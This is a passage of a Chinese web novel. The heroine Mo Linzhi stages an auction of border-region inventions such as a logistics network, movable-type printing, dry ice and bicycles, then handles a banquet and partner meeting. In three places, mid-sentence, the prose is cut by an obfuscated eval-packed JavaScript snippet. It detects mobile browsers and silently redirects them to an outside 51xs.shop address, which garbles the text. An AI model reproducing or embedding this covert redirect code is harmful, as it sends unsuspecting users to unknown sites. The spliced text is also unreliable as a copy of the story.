看着底下被家族寄予厚望的几个小辈，心有不忍地问道，“这赌桌，杜家是必须要上的，你们自己谁想留下来？” 底下几人面面相觑，片刻后，一个相貌一般但气质沉稳的青年起身：“父亲，我留下来吧。” “衡儿······” “父亲不必担忧，肃王为人我们都听说过，不是那种滥杀无辜或者迁怒别人的性格，再加上这北境防守固若金汤，说不定，这儿才是最安全的。而且，我正好想和莫管事讨教讨教经商之道。”杜衡安抚地冲父亲笑笑，眉目中毫无勉强，反而带了几分期待之色。 杜老二沉吟少许，便答应了：“那就这么定了，大家都休息去吧，这两天别乱跑，有什么消息及时通报。” “是。”一行人起身告辞。 待所有人都出去后，杜老二平和的面容上才显露出一丝不甘来。 这些年，就因为长幼有序，什么吃力不讨好的差事都是他这一房做了，而大哥那一房却可以在家高枕而卧，理所当然地享受他的辛苦成果！就连这次来北境也是，明着说公平对待，四房各出一个子侄，可遇到事情呢，还不是他们这一房出人出力！ 想想刚才大哥长子那神色，他就忍不住憋气！ 杜老二捂着胸口慢慢按揉着，突然，门被敲响了，他警觉坐直：“谁？” “父亲，是我。” 听着长子的声音，杜老二一下子松懈下来：“进来吧。” 杜衡推门而入，机敏地关上房门，看见杜老二按压胸口的动作，连忙给他倒了杯水，故作逗趣地调侃他老子：“这都多少年了还能被气着，您这定力可是一年不如一年了。” “滚滚滚，少来拿你老子开涮！”杜老二瞪他一眼，一口恶气骂出来，心里倒是好受很多。 他将茶水一饮而尽顺了顺，看着眼前孝顺能干的长子，再想想刚才那些子侄，心里真是又欣慰又不甘，两种情绪就像滚筒洗衣机一样在他心里来回倒腾，待到按下暂停键，整个人都萎顿了些许。 长叹一声，杜老二叮嘱长子：“罢了，这一次，咱们说不定能因祸得福。你在北境好好呆着，别让我操心。” “父亲放心吧。我刚才那些话可不是宽慰您的，其实这事儿儿子早就想了几天了，说不定，咱们二房的机遇就在这儿呢！” “机遇哪里是这么好得的，有所求就要有所付出。我现在也不指望别的了，就希望你们能别像我似的，活得这么憋屈。” 杜衡没接话，只是默默给杜老二顺了顺背，无声安抚。 良久沉默之后，杜老二拍拍他的手臂：“回去吧，早点休息。” “您也是，木已成舟，想太多于身体无益，倒不如保重身体，从中博利。” “放心，这么多年都过来了。” 杜衡见这一茬是真过去了，这才放心地告辞。 连续两个不眠之夜过去，拍卖会这天终于在万众瞩目中到来，凌晨四点左右，莫林知灌了5壶浓茶，坐着王府的马车出门了。 99. 拍卖开始 莫林知为了省点钱，只租了白玉京1天2晚的时间，紧张节奏下，辛苦的就是施工团队和她们自己了。 这不，昨晚白玉京闭店后施工团队就进驻了，连夜开始场景布置。一楼的座位，要减少，二楼三楼四楼的隐私设置得弄好，还有拍卖师所站的台子，前面的展示区布置等等。 莫林知到的时候基础的布置已经弄得七七八八了，她一层一层巡视了一圈，发现连施工后的垃圾残余都收拾好了——效率相当不错。 确认了来宾的位置和环境OK后，她就站上了拍卖台。 一米宽的台子底下垫了6层台阶，取自六六大顺之意。6层台阶一垫，差不多离地就有一米多，莫林知站在上面，然后让晚玉她们分散到一二三四楼坐下，她开始测试视觉效果和声音效果。 “尊敬的各位来宾，很荣幸能够邀请大家参与到此次拍卖会。在这场盛会中，我们北境将本着真诚、开放、友好、协作的心态，分享独家技术和产品。我们真心希望，大家能够不虚此行······” 想象着眼下就是正式开始，莫林知拿出专业姿态念完开场白，然后看向台下：“大堂，视觉上会有压迫感吗？” “没有，刚刚好。”晚玉回答。 “声音呢，清晰吗？” “很清楚。”两个角落的大声说。 “那二楼呢”莫林知稍稍仰头。 ······ 确认每一层每一个角落都能听到，莫林知在最后一项待确认的物料上打了勾，然后让晚玉掏出一个红包递给施工团队：“现场很好，谢谢大家。你们现在可以回去休息了，今晚还要再辛苦大家一次。” 施工方领头人没有接红包，而是感激地笑了笑：“这都是应该做的，我们还要感谢您和晚玉小姐，拖您的福，现在我们生活好了很多。” “红包拿着吧。熬夜伤身，额外多给点辛苦费也是应该的。”莫林知从晚玉手中拿过红包往前递了递。 对方见她一脸真诚的样子，便千恩万谢地接了。 施工方的人也没有全部撤走，而是留了2个，以备不时之需。见此，莫林知对他们好感度倒是升了不少，她转头交代晚玉：“后面盘一盘你们一年的需求，看能不能谈个年度总包价。另外，类似这种供应商，哪怕当下做得再好，最多也是签1年，以免后面以次充好。” “好，我回头盘算下。” “你们手头的项目不会少，这种供应商最好别签排外协议，万一后面合作出了什么岔子，你得保证手上随时有备选的顶上。” 对于这一点，晚玉就有些犹豫了。 莫林知知道她脸嫩，心还不够硬，便笑着拍了拍人的肩膀：“别用眼前的目光去判断今后的发展。我不是让你立马就踢了他们——如果他们能一直保持这种水准和效率，你当然是做生不如做熟嘛。但你要知道，手握备选，不只是给你自己的保障，也是让你们之间合作更长远的鞭子。记住，你是这个行业的赶羊人，别最后变成了羊。” 她这一说，晚玉就反应过来了，当即积极回应：“回头我建一个供应商档案库，最好也像何管事这样，按品分类。” “你心里有数就行。也不用着急，至少目前他们做得挺好的。” 莫林知顺嘴将过往踩过的坑分享完，白玉京的小二们就到点上岗了。她让晚玉盯着他们将现场再仔仔细细清扫干净，然后将早就定好的果盘糕点都摆上桌，确认一切没有问题，这些小二就可以撤出了。 接下来就全部是飞毛腿和见闻的人入场，后续每桌若有什么需求，也是飞毛腿的人充当服务人员来满足，白玉京的人只留后厨人员确保午餐准点上桌即可。 虽然时间紧，但是一组一组人员井然有序地，都卡在了规定时间内交接，莫林知勾完清单上的最后一项，冲何梅、晚玉和萧凛三人点点头，带着他们去门口迎宾。 九点三十左右，萧衍扶着萧太妃、萧瑾牵着莫林杰从马车上下来，莫林知亲自领着他们去了顶层预留的包厢。 这个包厢只有萧家一家子，所以里面的摆设会更舒服一点，除了桌椅，还有两张幕帘隔出来的软塌，以防萧太妃或者莫林杰累了要小憩。 “林知姐，那边用黑色幕布围起来的是什么？”萧瑾站在窗口，好奇地冲一楼一角指了指。 “是交易区。每一轮竞拍结束，就会有人将得主引到交易区，现场签订契约。若金额低于保证金，则签一张收据单即可，若超出了，也需要在这里补足。”莫林知指了指桌上的几本册子，“册子上有拍品顺序和资料介绍，有些拍品是直接银货两讫，有些则是用其他条件来换。具体的契约条件则统计在另一本册子里，买家可事先仔细阅览，考量自己是不是能接受。” 萧瑾闻言，走到桌边翻了翻，不仅感叹：“这么多字！！！” “当然了，毕竟不是小数目。而且，这两本册子他们在缴纳保证金的时候就拿到了，这3天估计早就研究烂了。桌上放一份不过是怕有人丢三落四，以备不时之需而已。” 莫林知解释完，见他们暂时没有其他需求了，摸了摸弟弟的头叮嘱他听话，然后告辞。 她得去准备了。就在刚才说话的空挡，大堂已经坐满了三分之一，现在还源源不断往里进着人，二楼三楼也陆陆续续有包厢挂起了红花——这是客人入驻的标志。 莫林知下到一楼，选了个角落坐下，翻开了手中独一份的产品册，开始默默酝酿自己的专注力。 其实好像也不用怎么准备，这虽然是她第一次当拍卖师，但不是她第一次上台面对这么多人。 真正的第一次，是在走入社会的第二年，被赶鸭子上架去参加天x举办的招商大会。那一次，面对底下几百个品牌方、供应商的代表，她感觉自己是分裂了另一个人完成的这场任务。因为事后相熟的供应商把她上台的视频发给了她，她看着视频里单手插兜，拿着话筒侃侃而谈的自己都有些傻眼——我怎么会是这样子的呢？我明明很紧张啊！ 不过这一次经历倒是让她后续面对这种场合的时候淡定了很多——反正有“第二人格”嘛~ 再后来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566207|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为行业白皮书撰稿人的她在宴会厅面对上千人和直播分享自己的方法论时也都能真正做到“单手插兜，自然随意”了。 就是可惜，在她来到禹朝的这四五年里，那个方法论的后续也没能完善出一个结果来。 是和大数据有关的。起初，她提出这个设想，并找了3个品牌进行落地测试，其中2个品牌都拿到了提升值，但是第三个失败了。 即便如此，这个设想因为概念新，还是被平台看中，迫不及待地搬上了舞台。那时候，莫林知也是雄心勃勃的，觉得第三个品牌的失败是因为行业特性，这个方法论可以往下细拆场景来进行更落地的运营总结。 比如新品场景、爆款场景等等。 可惜，平台内部部门之间的壁垒深重，从最初的设想提出到她一次次失望失去耐心，很快一年多就过去了。再后来这个项目不了了之，而莫林知在日常的事务中，却开始逐渐怀疑起数据的价值来。 众所周知，人是这个世界上最大的变量。数据可以忠实反应过去发生的事情，但是真的可以预测未来吗？所谓的“以消费者为中心”，“研究消费者的画像”，到头来，其实真正能吸引人停留的还是“货品”。 慢慢从那种狂热氛围中清醒一点后，她跳出圈子再来看，不禁开始质疑——所谓的“方法论”，究竟是捷径，还是弯路？ 卖家的本质，究竟是做“营销”，还是做“产品”？ 不远处，晚玉冲她挥了挥手，示意人员已经到齐，时间也差不多了。莫林知也举手回应，然后起身整理整理衣物，抬手阔步踏上那个战场。 ——以前不懂，但不代表现在不懂。营销做到极致，其实也是产品的一种。所以，一加一究竟是等于二还是大于二，无非是看两个产品是不是都能从这个行业中脱颖而出。 就比如她的“北境物联网”。 “各位来宾，首先第一个登场的拍卖品，就是我们北境独有的商业模式——‘物联网’。物联网由《见闻》和飞毛腿两部分组成，前者类似‘货架’，后者如同‘仓库’。如同各位所见，‘物联网’最大的特色，是它能利用《见闻》的特性，覆盖更多城镇和人口。与固定在一处不可移动的商铺不一样，它能主动捕捉潜在顾客，根据顾客实际的需求进行备货，通过飞毛腿和各处仓储高效流转，将货物完好无损送到顾客手上。若是物联网能覆盖整个禹朝，那我们就能实现全国的货物流通。从此以后，您再也不用冒着任何风险运着货物走南闯北，或者担心货物砸手里。” “物联网的合作权按省竞拍，各位需要注意的是，一旦竞拍成功，各位得主之间将成为天然的同盟，破坏同盟即为撕毁合约，需赔付金额百万两。同样，产品持有人可以承诺各位的是，一旦联盟，《见闻》和飞毛腿将在1年内覆盖您辖区内70%的市场。” “那么，接下来首先是皇城以及山东行省，起拍价1万两，每一次举牌加价500两，现在，1万两，请举牌！” 随着莫林知铿锵有力的话语落下，二楼和三楼几个窗口立马亮了。 100. 拍卖会下 一个上午结束，中途休息。 标准的三菜一汤从厨房被端出，送到每位贵宾手上，整个白玉京内，飘起了热腾腾的饭菜香。 三菜一汤看着不多，但是是白玉京的招牌菜，味道还是半点不输的，大家吃得很满意。这菜一吃得舒服了，绷了2个小时的神经也就慢慢放松了，一楼大堂里，甚至有人小声聊了起来。 “还以为能捡个漏，没想到楼上那几家争得这么厉害，看来下午的干冰和自行车也抢不着了。”一个身形壮硕的汉子“小声”感叹。 他说完后桌上其他几人没有人回应，他也不恼，毕竟他们这一桌是看着同乡才拼伙进来的，互相带有防备很正常。只不过这憋了一上午，有些话他是真的不吐不快：“哎你们说，我要是私底下仿这个‘物联网’的模式能不能成功？” 这话一出，同桌人终于给了他个正眼——像看傻子似的。 一个文弱书生样的青年放下筷子，擦了擦嘴，这才慢条斯理道：“那你猜，楼上那些大家族明明也有能力自己做，为什么还非要争这个合作权？” “！！对哦！为什么？？” 青年：“······” 他这是从哪找了个憨憨合作啊！ 青年没好气道：“之前就有风声，说北境这个物联网现在的形态只是初级，后面还会升级。还有《见闻》，你觉得，你能想出那么多奇诡的营销方式吸引民众？办是可以自己办，人莫管事说了，大家公平竞争。可问题是，人家有竞争的底气，你有吗？做之前先想想自己的脑子是不是够格当人的对手吧。” 一番话，不止壮汉，附近其余心思浮动的几人也立马清醒了。周围此起彼伏地，响起一声接一声的叹息。 青年自觉该提醒的已经提醒，算是尽了这同桌情意，多的一个字也不再说。他让人收走面前的托盘，然后打开了自己那本宣传册，开始盘算自己的小九九。 这50个拍品中，最受瞩目的自然是物联网、干冰、自行车这种闻所未闻的东西，但他的目的，却是另两样——印刷术以及一个改造的农具。 这印刷术和农具不分地域，只限十人可得，而截止目前，大家的目光都被明面上的泼天财富吸引，这两样的讨论度相对比较低。 这是他的机会。 哼！那些眼皮子浅的，只觉得看得到的利益才叫利益，可在他看来，印刷术和改进版农具才是真正千秋万代的基业！ 青年再次盘了盘自己能承受的底限，眼中闪过势在必得的光芒。 中午这趟休息，莫林知被请到了顶楼吃饭歇息。 说是吃饭，其实是喝粥——她扯着嗓子喊了2个小时，虽然目前喉咙还好，但也隐隐有了点难受的感觉。饭菜这么糙硬的颗粒，她是万万不敢碰的。 而且，不知道是萧衍还是太妃交代，晚香还给她从王府带了一盅润喉的银耳雪梨汤。虽然感动，但这汤汤水水的，其实她也不太敢吃，免得想跑厕所，所以只是略微尝了几口，就让晚香收起来了。 萧太妃见状，脸上是抑制不住的心疼：“这······这就没有什么办法能解决一下？” “没事儿，就——”莫林知刚开口，就被萧太妃打断了，“你别开口了，歇着吧，有什么需要用手写。” 莫林知笑了笑，点头领受了这份好意。身侧，莫林杰忍不住悄悄抓紧了她的手，莫林知低头，呼撸了几下弟弟的头，在他肩膀上拍了拍。 室内的这软塌，最终还是给她自己用上了。 早上起太早，中午眯这半个小时其实完全不够用，醒来时脑子里跟电波似的一直哔——哔———— 莫林知接过晚香递来的冷毛巾擦了擦脸，喝了口水，这才缓解不少。她跟太妃几人告辞下楼，先去上了个厕所，一些准备就绪后，重新登上拍卖台，敲了下锤子。 清亮的声音让在场所有人都精神一震，看见台上的人，不少人立马坐直了，重新打起了精神。 “接下来开始我们下午的第一件拍品——活字印刷术。”莫林知笑着比手示意，立马有两人带着一份完整的《见闻》上来了。他们将《见闻》完全展开，一人捏一个角进行正反展示。 “这样一份《见闻》大约有一万一千八百多字，用活字印刷，两人操作，只需要2个时辰即可完成。活字印刷不限地域，只限10人。起拍价1000两，每次举牌加价100两，现在第一轮，请举牌······” 不疾不徐的语速像是带着催眠魔力，让不少人不由自主地随着她的指示举起了牌子，待听到叫价时才突然惊醒，这不是自己原定想要的拍品，好在，还有下一轮竞价。 没有人的精神和注意力是能持续一整天的，尤其是在这种脑力和体力双重消耗下，精神力的下滑速度只会比往常更快！身在局中的买家和莫林知一样，一直保持着大脑的高速运转，当下的状态也就比她好那么一点点，自然是看不出台上拍卖师的变化的，但是顶楼，一直旁观的萧衍一家就很敏锐察觉了些许不同。 萧瑾眼中流露出些许不解：“林知姐好像变柔和了？” “因为要保留体力。”萧衍淡淡解释，“早上的她状态最好，可以用自己的兴奋带动全场氛围，但是下午全场的状态已经下滑，且时间还长，就只能换一种策略来引导了。” “所以才要将物联网放在上午第一个？”萧瑾隐隐有些懂了，看着楼下亭亭玉立的女子，眼中露出些许佩服，“明知道越靠前越占优势，但还是愿意做些许退让，把机会让给其他的拍品，林知姐的为人，果真是大气！” 要知道，这50分拍品里，有7个都是从平头百姓手上得来的手艺和技术。若是她给排到后面，别人也说不出什么错，毕竟能上场的机会都是她给的，但她没有这么做，反而还给提供了很多便利。 因为这几门技术，是她觉得应该被传扬开，可以利国利民的好技术。那同样，发明这个技术的人，自然也应该获得应有的奖赏。 ——她在饭桌上说起这个话时，萧衍简直想打破那条“事成之前不谈感情”的戒律，当场求婚。 有能力手腕，又有一颗兼爱之心，这样的人，真的很适合做一国之后！ 想起那天晚上的情景，萧衍再看向底下万丈光芒的女人，眼中浮现出星星点点的笑意。 她真的，永远都能给他惊喜。 随着一件件拍品成功认主，莫林知的声音终究还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575431|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可避免地沙哑起来，什么清亮什么柔和都装不下去了。 好在，只剩下最后两样了——她的干冰和自行车。 干冰的展示不是放在展示区，而是有专人托着一块干冰送到各桌上，与此同时，莫林知以火锅店为例，讲述着干冰的作用面积和消耗速度。 自行车就更不用说了，到场的基本都是看过自行车大赛的——大赛那个障碍物布满的地都能跑得通，它的实用性，已经不言而喻。 实在不行，还能具备比赛（赌*）功能。 那天在观赛台，好些商家就已经在脑子里幻想，如果能在苏杭（西南/西北······）等地也承包一项这样的赛事，那不管是门票还是开赌.局，绝对能赚个盆满钵满！再不济，也能和那天一样，找几个“赞助商”，赚赚“广告费”啊！ 这一想，这些人不禁再度感叹——这人和人的脑子怎么就差这么多呢？这什么“赞助商”之类的，他们办蹴鞠办了这么多年了，也没想到还能这么玩！ 想想北境这一趟的所见所闻所学，不少人觉得哪怕什么都没拍到，也不虚此行了！ 当然，什么都没拍到的毕竟是极少数！都交了钱进来了，那肯定就是有目标的！所以等到莫林知宣布“所有拍品完成交易，本厂拍卖会到此结束，真诚感谢各位贵客鼎力支持”的时候，大家神色一松，安静了几个小时的场子立马喧闹热烈起来。 莫林知后半句“请各位移步门外马车，我们为各位准备了庆贺晚宴”的话都被完全淹没，还是何梅和晚玉见机行事，带着所有人一起齐声大喊才慢慢引导他们按秩序退场。 半个小时内，白玉京内的人如潮水般褪去，只留下交易区少许人员。 寻味斋那边交给了龚煊和林显他们，何梅等会儿也会提前一步过去。晚玉还要等所有人离开后，继续和施工团队对接，将现场复原，和白玉京的掌柜交接过后才算完。 至于莫林知······她得抓紧时间让嗓子歇息歇息。 晚香已经将温着的雪梨银耳汤重新端了上来，这时候不用有什么顾虑，已经有些低血糖头晕，嗓子也火辣辣的莫林知毫不客气地干掉了一碗。 刚放下，就发现萧太妃他们下楼来了，莫林知连忙起身想送他们出门，但是被萧太妃先一步制止： “你歇着吧，这么多人送，用不上你。”萧太妃摆摆手，“小杰就跟着我回去了，你等会儿别太实诚，记得自己找机会多休息休息。” 莫林知笑着点点头，果真就一点没动，目送他们离开。 再过了会儿，交易区那边的人也退出了，领头的人到她面前来复命：“莫管事，全部核对完毕，签署的文件清单和契约一记钱款是完全吻合的，接下来我们就将东西送到您院子去了。” 莫林知点头，沙哑着叮嘱了一句：“我回来之前派两个人守着。” “是！” 眼见着最后一波核心人员撤离，她冲晚玉点了点头。晚玉出门，将门外等候已久的施工团队领进来，大家手脚麻利，都做出了经验，先从大件开始拆起，然后再一层层收拾小料。不需要多久，刚才还在这里诞生了几百万两交易的拍卖场，就会再度恢复它本来的面貌。 101. 晚宴 莫林知没休息多久，就扶着晚香的手出了门。她也没搭乘马车，路不远，倒不如慢慢走一走，呼吸呼吸新鲜空气，也好缓缓缺氧的大脑。 此时北境的夜晚已经初现冬日的凛冽，寒风一吹，别说醒脑了，整个人都活了。 莫林知忍不住打了个喷嚏。 晚香见状，立马从马车上翻出厚厚的斗篷，不顾她的反对强行给她披上，嘴里还有些埋怨：“我刚就说了晚上冷晚上冷，您非不信，这下好了，晚上回去指定得发热。” ——以前她可不会把话说这么明白，就算劝也是委婉地说，果真是见两人现在一条绳了，胆子也大了。 莫林知觉得好笑，没跟她顶。 此时华灯初上，各家各户的灯盏陆陆续续亮了起来，还有路边的小摊子，笼罩在昏黄朦胧的烛火下，别有一番风味。 往来行人步履悠闲，有些是一家三口，有些是两两作伴，虽然吃过晚饭，但是看见喜欢的小食，也会买上一包。 擦肩而过时，莫林知还隐约听到了拍卖会相关的字眼。 莫名地，她突然想起以前看到的一句话：每个人其实都有窥探欲和表现欲，这也是几大内容平台能够蓬勃发展的底层基石。 几秒后，察觉自己在想什么的莫林知突然笑了——她还真是，被工作腌入味了，干什么都能和工作联想起来。 晚香不知道她的脑内活动，被她笑得莫名其妙：“莫管事，您笑什么呢？” “我在想，今天有多少人因为这场拍卖会而心潮涌动。明明和他们没什么关系，却恨不得每个细节都了解得清清楚楚。只是可惜了，这场拍卖会的成果，注定不会在《见闻》上对外披露。” 毕竟内里涉及到的东西太复杂了。 比如物联网，明面上是公平叫价，可实际上，有几块地盘是被他们自己人叫下来了的——这几块地区的合作权，后续将作为“礼物”赠送给合作伙伴。 当然，也有可能送不出去？ 想到这里，莫林知对寻味斋那边的进度开始有点好奇了，她拉着晚香加快了脚步。 寻味斋的租赁方案和白玉京差不多，不过要求的时间是一晚上，加上定式菜品这些，差不多3000两。租赁期间寻味斋只提供厨子，其他的全部由萧凛派人承包了，结束后所有的打扫归寻味斋自己。 莫林知赶到的时候宴会正厅已经是人声鼎沸。台上琴瑟和弦舞姿动人的，竟半点也没吸引住这些人，一个个几杯酒下肚，就已经和北方汉子似的，你把着我我揽着你，开始称兄道弟了。 她在边上设置的几个交谈区已经被占满了，几乎都是三四个人一小桌，端着几碟小菜两壶酒，也不知道是谈正事还是就想找个僻静地喝酒。 其余没抢着小角落的也不生气，换了个座位照样不影响侃大山。 ——乍一眼看过去，还真分不清地域之分，眼瞅着都像豪爽大气的北境汉子。 莫林知挑挑眉，也不进去了，后退两步准备再继续歇息歇息。 其实她挺理解里面那些人的。人嘛，在经过惊心动魄的一天后，总要释放释放的。拍卖会上眼瞅着数字几万十几万的往上蹦，偏偏还得维持安静的环境，沉稳的表征，那不就只能死命地压制自己了。可越是挤压，一旦松懈，反弹就会越厉害。 她刚刚不坐马车一路慢悠悠地走过来也是因为这个原因。 她要平复自己的心跳，冷却自己的大脑。而这个世界上，有什么比身边脚踏实地的人间烟火更能让人清醒的呢？ 莫林知靠在门上，闭目小憩，突然腰侧被人戳了戳，她一秒回神，唰地睁开眼，黄志真略略踌躇地站在五步开外。 从他站姿来看，应该是刚从萧衍那儿回来。 她端出柔和的笑容：“少当家有话不妨直言。” “······是我那两个弟弟。莫管事，不瞒您说，我这次出行带上几个弟弟本意就是想让他们见见世面，可他们倒好，临到头竟然不想走了，非要留下来和您学做生意！莫管事，以后可能就要叨扰您了，若他们有什么得罪的地方，您直接教训就行，我黄家绝不偏袒······就是希望看在我黄家一心效忠的份上，能保他们一条命。” 一番话，既表明了兄弟感情好又放得下身段，不愧是生意做到皇家的人。 不过······他们竟然愿意留下人质？因为龚煊？ 莫林知按下心里的诧异，面上的和缓笑容纹丝不变：“少当家过虑了，我看两位黄少爷都聪敏得很，您若是放心，不如让他们来我见闻做事如何？这纸上教再多，都不如实战演练嘛，您说呢？” 比起莫林知的不动声色，黄志真就真的惊讶极了：“您说真的？” 这······这做生意都恨不得独家技术不外传，怎么这莫管事这么大方？不不不，她背后还有其他人，不能当真，说不定是一个试探？还是说，这也是诚意的一项？ 若是后者······ 黄志真呼吸频率都快了，没喝酒的他和里面那些人看起来竟差不多的，脸颊泛红，眼冒狼光：“莫管事，您这个提议，王爷知道吗？” 一句话，就暴露了他心里的担忧，也让莫林知明白了他犹豫的点，当下没忍住，噗嗤一声笑了。 她下巴一扬，似笑非笑：“少当家，经商只是小道，您不会觉得我们家王爷是那种抓着钱就不放手的人吧？这样的人可不值得你们押注。” 黄志真尴尬一笑，立马清醒过来了，连连赔罪：“怪我怪我，以己度人了，还请莫管事见谅。” “无妨，人嘛，确实容易想岔了。您放心，只要黄家不背叛，您二位弟弟在北境安稳得很。” “是是，那就多谢莫管事照拂了。”黄志真又尴尬又感激，连连作揖，千恩万谢的离开。 看着他走向宴会厅的背影，莫林知眼睛眯了眯，决定再站一会。 果不其然，之后，不管是杜家、还是西南那三家、西北的莫家，路过她这儿时，都不约而同作了停留，拉关系的拉关系，打招呼的打招呼。其目的，就是希望莫林知能多照拂照拂他们家好学/贪玩/想长见识的儿子/子侄/兄弟。 莫林知有些玩味。 她发誓，当初让龚煊出面是想尽量给这些人一个保证——毕竟西南王都敢拿儿子下注了，你们还有什么好犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583474|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的呢是不？ 没想到，还有意外之喜。 不知道该说什么，想了想，还是夸赞这些人“敢舍敢得”吧。 等到白玉牌的几家都“路过”了，莫林知这才不紧不慢地踏入宴会场，代表主办方敬了3杯酒，说了些场面话。 感谢是肯定不能少滴，在座这些都是财神爷啊！让她当场拜一拜都行。 除此之外，她还着重讲了讲定安城内的特色，比如小吃啊，杂耍啊，以及接下来晚玉主办的服装大赛等等，有时间的可以再多停留几天嘛~ 当然，留太久了也不行，北境再过一阵子就该封路了，这路上冰天雪地的，不好走！ 想到这里，她突然想起了手下飞毛腿的工作人员——这自行车该卖的卖完了，也不怕人盗图纸什么的，是该给所有店铺配一辆了。冬季出行怎么着也比人走得快，不过车轮得搞个防滑链子。 还有业务，也得另做安排。那些偏远地区的，能减少的就减少，这个到时候得提前在见闻上发一发才行，让那些人提前把货备齐了！ 匆匆结束了寒暄词，莫林知下台后走到角落掏出笔记本刷刷将刚才想到的几点记下来——她没有北方生活经验，关于冬季的工作安排，还得仔仔细细和底下人开过会，商讨出一份周全的方案来。 眼看着时间不早了，莫林知交代何梅和现场其他人，让他们务必将每一位来宾送上马车，自己则带着晚香先撤了——几杯酒下喉，恶果来得堪比现世报，她现在声音彻底哑了。 喉咙像堵着一个东西，吞咽都痛，嘴里还隐隐有血的铁锈味······ 恶心，想吐。 因为身心都难受，她现在的脸色真的苍白得不行，晚香吓得额头都隐隐有些冒汗，恨不得自己先一步飞回王府去找府医。 当然，即便她不能先回到王府，府医也已经到位了。 除了府医，萧衍也在。 见莫林知坐在那儿安安静静地任大夫整治，乖巧又可怜的样子，萧衍眼中心疼之色愈加浓重。他一边让晚香去主院库房拿药，一边跟莫林知交代：“小杰我让萧瑾领回去了，今晚在他那儿休息。门外的这些你也别管了，我等会儿让账房和萧凛一起核实，保证出不了岔子，明天休息一下吧。” 莫林知点点头又摇摇头，在纸上写下：明天下午约了物联网的合作方沟通后续安排，不能耽搁，所以劳烦大夫开点特效药。 写完后不止给萧衍看，给大夫也看了看。 府医无奈摇头：“您这个只能缓和。我目前开的方子已经是全城最有效的了，到明天说话应该是能说的，但要是还用嗓过度，恐怕您后面就要难捱好一阵子。” 莫林知：无妨，明天能用就行。 见此，萧衍眉心紧皱，纹路之深能夹死一只蚊子！ 但脑子里过了一圈，发现他竟是找不到一个能代替莫林知去做这个事儿的人！ 闭了闭眼，压下心里的无力感，他哑声交代：“明天能让别人代劳的就别自己开口，不用觉得怠慢，那些人······” 话没说完，后续不中用的只言片语，都湮没在了莫林知安抚的笑容中。 102. 收尾 一觉睡到中午，醒来时漱了漱口，发现喉咙确实好多了。 铁锈味没了，吞咽时虽然还是有疙瘩在，但是不像昨晚，把整个喉管都堵住了似的。 晚香给她端了来一份熬得很细的豆浆粥，然后又将府医开的方子煎了一大壶药水带着，边收拾边叮嘱：“等会儿您记得有事没事就喝一口含着，要说话的时候再咽下去，说完了再含一口。” 莫林知比了个“OK”的手势。等吃完饭，她立马喝了一口药水漱喉，然后又含了一口，身体力行表示自己的乖巧听话，可算是让一直绷着个脸的晚香有了个笑模样。 她到达见闻的时候，那些合作方已经都到了，各个喜气洋洋地在会议室里说笑着，脸上半点看不出宿醉的痕迹。 莫林知进去后，先是为自己让他们久等了的行为道歉，然后将手中早就准备好的资料下发。 “首先，非常荣幸我们能成为合作伙伴。有一点呢，我再次重申一下，既然坐在这里，我们就是同盟，希望今后在我们的齐心协力之下，能尽快实现全国互通，财富尽在我手。” “那么接下来，我先说一下半年内的工作计划。”莫林知翻开第一页，看着在座十几人，声音虽然沙哑，但气势半点不减，“第一期的目标很明确，就是帮助你们，将物联网的基础搭建好。你们这次离开时，每个人都可以从我们的飞毛腿优秀管理层里选2名人才带回，他们将会根据实际情况，配合你们完成仓库的布点、仓储的等级设置、店铺的分部以及人员的培训。至于《见闻》的搭建，我这边暂时没有人手派出，但是我整理了一份完整的‘破冰’方案，你们只要照着做，基本是没什么问题的。当然，你们也可以派人来实地学习，我们将毫无保留倾囊相授。” 见闻这边的解决方法，是她和萧衍争论几次后始终无法达成统一，无奈之下的解决方案。 见闻这边都是普通百姓，没受过什么训练，若是把他们推出去面对危险自己在后方享福，莫林知是万万做不到的。 但萧衍也拒绝让她出去。 既如此，那就都别派出去了。好在初期的问题应该不大，莫林知熬了几个大夜，才总结出一份完整的，每一步都有很清晰的指导的傻瓜式“破冰”方案。 “第一期完成后将进行3个月的试运营，如果每个地区都达到了预估目标，我们将进入第二期的执行。大家可以翻开第二份规划，第二期的目标是在于商家引进。” 一提到商家引进，底下人立马有人提出了质疑：“莫管事，我们原本想的是可以利用您这个东西更好的卖自家的货物。可如果引进其他商家，那······那我们的竞争优势不就没了吗？” 